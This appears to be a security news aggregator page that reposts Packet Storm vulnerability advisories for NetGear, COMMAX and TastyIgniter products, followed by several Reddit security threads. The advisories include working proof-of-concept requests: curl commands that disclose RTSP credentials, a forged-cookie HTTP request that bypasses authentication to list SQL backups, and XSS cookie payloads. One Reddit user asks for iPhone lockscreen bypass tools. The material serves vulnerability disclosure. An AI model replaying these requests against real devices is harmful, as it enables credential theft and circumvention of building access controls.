Exploit Collector
NetGear D1500 1.0.0.21_1.0.1PE Cross Site Scripting

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
NetGear D1500 version 1.0.0.21_1.0.1PE suffers from a persistent cross site scripting vulnerability.

MD5 | 6a5d2c9fd89ba2dd746c2e39160e4fd3

Download
# Exploit Title: NetGear D1500 V1.0.0.21_1.0.1PE - 'Wireless Repeater' Stored Cross-Site Scripting (XSS)
# Date: 21 Dec 2018
# Exploit Author: Securityium
# Vendor Homepage: https://www.netgear.com/
# Version: V1.0.0.21_1.0.1PE
# Tested on: NetGear D1500 Home Router
# Contact: assessors@securityium.com
Version :
Hardware version: D1500-100PES-A
Firmware Version : V1.0.0.21_1.0.1PE

Step to Reproduce Video: https://www.youtube.com/watch?v=JcRYxH93E5E

Tested Network: Local LAN

SSID Details:
Attacker SSID :

For routers admin
3) Logged in as admin.
2) Go to Advanced --> Advanced Setup --> Wireless Repeating Function
3) Enable Wireless Repeating Function
4) click on check.

wait for the checking scan to finish and display the surrounding networks list.

Source:packetstormsecurity.com

Exploit Collector
COMMAX Smart Home Ruvie CCTV Bridge DVR Service RTSP Credential Disclosure

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
COMMAX Smart Home Ruvie CCTV Bridge suffers from a credential disclosure vulnerability.

MD5 | 0d5d3a5130f6133e1e168518382d87aa

Download

COMMAX Smart Home Ruvie CCTV Bridge DVR Service RTSP Credentials Disclosure
Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: n/a

Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment
complex that provides advanced life values and safety.

Desc: The COMMAX CCTV Bridge for the DVR service allows an unauthenticated attacker
to disclose RTSP credentials in plain-text.

Tested on: GoAhead-Webs
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5665
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5665.php
02.08.2021

--
$ curl http://TARGET:8086/overview.asp
Infomation
* [2021/08/15 09:56:46] Started

* MAX USER : 32

* DVR Lists
[1] rtsp://admin:s3cr3tP@$$w0rd@10.0.0.17:554/Streaming/Channels/2:554
$ curl http://TARGET:8086/login_check.js:
var server_ip = $(location).attr('host');
var server_domain = server_ip.replace(":8086", "");

document.domain = server_domain;

var cookiesAuth = $.cookie("cookiesAuth");

if (cookiesAuth != "authok") {
parent.document.location.href = "http://" + server_domain + ":8086/home.asp";
}

Source:packetstormsecurity.com

Exploit Collector
TastyIgniter 3.0.7 Cross Site Scripting

https://4.bp.blogspot.com/-zX4owX_f6gA/WWlvEjBsFTI/AAAAAAAAILA/L-jpFLkKi_AyIykovxrESAdO3HPxIIp7QCLcBGAs/s1600/h132.png
TastyIgniter version 3.0.7 suffers from a persistent cross site scripting vulnerability.

MD5 | 60b4b39b8239a5951ee136da0b3b1117

Download
# Exploit Title: XSS-Stored on TastyIgniter 3.0.7 Vulnerable parameter
Customer[first_name] on /customers/create
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 08.13.2021
# Vendor: https://tastyigniter.com/
# Link:https://tastyigniter.com/download
# CVE: CVE-2021-38699

[+] Exploit Source:

# Vulnerability Assessment
XSS-Stored Allow 48 characters

# Url
http://192.168.1.3/setup-master/admin/customers/create

# Payload
# Vulnerable parameter
Customer[first_name]
----------------------------------------------------------------------------------------

# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38699
# Proof: https://streamable.com/i6lzfc
# BR nu11secur1ty

--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://www.exploit-db.com/
https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http:

Source:packetstormsecurity.com

Exploit Collector
COMMAX Biometric Access Control System 1.0.0 Authentication Bypass

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
COMMAX Biometric Access Control System version 1.0.0 suffers from a authentication bypass vulnerability.

MD5 | 30872997d53a89ccd87660764948a6b3

Download

COMMAX Biometric Access Control System 1.0.0 Authentication Bypass
Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: 1.0.0

Summary: Biometric access control system.

Desc: The application suffers from an authentication bypass vulnerability.
An unauthenticated attacker through cookie poisoning can bypass authentication
and disclose sensitive information and circumvent physical controls in smart
homes and buildings.

Tested on: nginx/1.14.0 (Ubuntu)
MariaDB/10.3.15
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5661
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5661.php
02.08.2021

--
The following request with Cookie forging bypasses authentication and lists available SQL backups.

GET /db_dump.php HTTP/1.1
Host: 192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/user_add.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CMX_SAVED_ID=zero; CMX_ADMIN_ID=science; CMX_ADMIN_NM=liquidworm; CMX_ADMIN_LV=9; CMX_COMPLEX_NM=ZSL; CMX_COMPLEX_IP=2.5.1.0
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 03 Aug 1984 14:07:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 10316
::: COMMAX :::
...
...

Source:packetstormsecurity.com

Exploit Collector
COMMAX Biometric Access Control System 1.0.0 Cross Site Scripting

https://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png
COMMAX Biometric Access Control System version 1.0.0 suffers from a cross site scripting vulnerability.

MD5 | 7bf5f2cdb78f902a98c85a7c700aacd6

Download

COMMAX Biometric Access Control System 1.0.0 Cookie Reflected XSS
Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: 1.0.0

Summary: Biometric access control system.

Desc: The application is vulnerable to an unauthenticated reflected
cross-site scripting (XSS) vulnerability. Input passed to the Cookies
'CMX_ADMIN_NM' and 'CMX_COMPLEX_NM' is not properly sanitised before
being returned to the user. This can be exploited to execute arbitrary
HTML and JS code in a user's browser session in context of an affected
site.

Tested on: nginx/1.14.0 (Ubuntu)
MariaDB/10.3.15
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5660
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5660.php
02.08.2021

--
GET /db_dump.php HTTP/1.1
Host: 192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: UA/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CMX_SAVED_ID=zero; CMX_ADMIN_ID=science; CMX_ADMIN_NM=lab">; CMX_ADMIN_LV=8; CMX_COMPLEX_NM=ZSL">; CMX_COMPLEX_IP=2.5.1.0
Connection: close

Source:packetstormsecurity.com

DEF CON 29 - Rex Guo, Junyuan Zeng - Phantom Attack: Evading System Call Monitoring
https://www.reddit.com/r/redteamsec/comments/p5i7lk/def_con_29_rex_guo_junyuan_zeng_phantom_attack/

<!-- SC_OFF -->https://www.youtube.com/watch?v=yaAdM8pWKG8&ab_channel=DEFCONConference <!-- SC_ON --> submitted by /u/rexguo1 (https://www.reddit.com/user/rexguo1)
[link] (https://www.reddit.com/r/redteamsec/comments/p5i7lk/def_con_29_rex_guo_junyuan_zeng_phantom_attack/) [comments] (https://www.reddit.com/r/redteamsec/comments/p5i7lk/def_con_29_rex_guo_junyuan_zeng_phantom_attack/)

Kali Linux Tutorials
Karton : Distributed Malware Processing Framework Based On Python, Redis And MinIO

Karton is a robust framework for creating flexible and lightweight malware analysis backends. It can be used to connect malware* analysis systems into a robust pipeline with very little effort. We’ve been in the automation business for a long time. We’re dealing with more and more threats, and we have to automate everything to keep up with incidents. Because […]

The post Karton : Distributed Malware Processing Framework Based On Python, Redis And MinIO appeared first on Kali Linux Tutorials.

https://b.thumbs.redditmedia.com/YtRYckFPyJ92ZZL-X7nteGj1Mq-lQQrqC7GKVpPklOM.jpg ​

https://preview.redd.it/jhvb2n4f0qh71.png?width=782&format=png&auto=webp&s=d6bf137d2b7fd7957e4a8e8bda0fa0febf2735e4

submitted by /u/wingsneon
[link] [comments]

hacking: security in practice
Think I've been hacked

Around august 1st, I noticed some strange behavior. I was playing a song on Youtube Music, and all of a sudden I get the notification that I could not play songs from more than one location. Odd, since I wasn't.

I logged into work, to check if the browser was logged into Youtube music, playing a song, but no.

Then the next day, I was out to lunch with some friends and get 3 text messages from google, with codes for accessing my google account, since I have 2FA on. Weeeeeird. Also, since I receive those codes, that must mean they know my password. I only received those 3 google texts. Probably the figured out I had 2FA on.

I then get the feeling that maybe my boss was snooping at my gmail or something, on my work PC, but it didn't make sense since it was on a weekend. I did notice an IP, that seemed out of place, in my gmail access log - at a time where I wasn't accessing it - from a computer. Tried looking it up to no avail. It didn't revolve to an ISP customer, or anything useful.

Then a few days later I started noticing and alert that my Microsoft account needs fixing. I got this several times. Weird.

The final thing was, when I logged into my battle.net app, I was in a chat group with 20+ others. I have no idea how I happened to be in this chatgroup.

I've revoked access to all devices/places that's using my google account.

It's a real nightmare having to change all passwords. But I'm in the process.

I haven't installed any pirated software on my PC, or work PC, or clicked on any links in emails. So how this hack has happened is beyond me. Maybe it was just my boss on the google account, but that doesn't explain the Microsoft account acting up, as well as the strange chatgroup in the bnet app.

submitted by /u/pslind69
[link] [comments]

hacking: security in practice
Researchers unveil a new DDoS amplification attack... that can offer technically infinite amplification. The attack weaponizes censors and firewalls for amplification over TCP!

https://external-preview.redd.it/oDMFiS2mwAahXNfvbolHmyLOTElDaRkfZRte17wjIjQ.jpg?width=640&crop=smart&auto=webp&s=fb094351e4dd1583e6d1e74edb4abcbe62c30407 submitted by /u/Correcthorse121
[link] [comments]

hacking: security in practice
iPhone Lockscreen Bypass

I saw on internet software that tries all possible password for iPhone lockscreen. Can someone tell me one of these or suggest to me how to unlock an iPhone without passcode a d losing all data?

submitted by /u/MrVinsB
[link] [comments]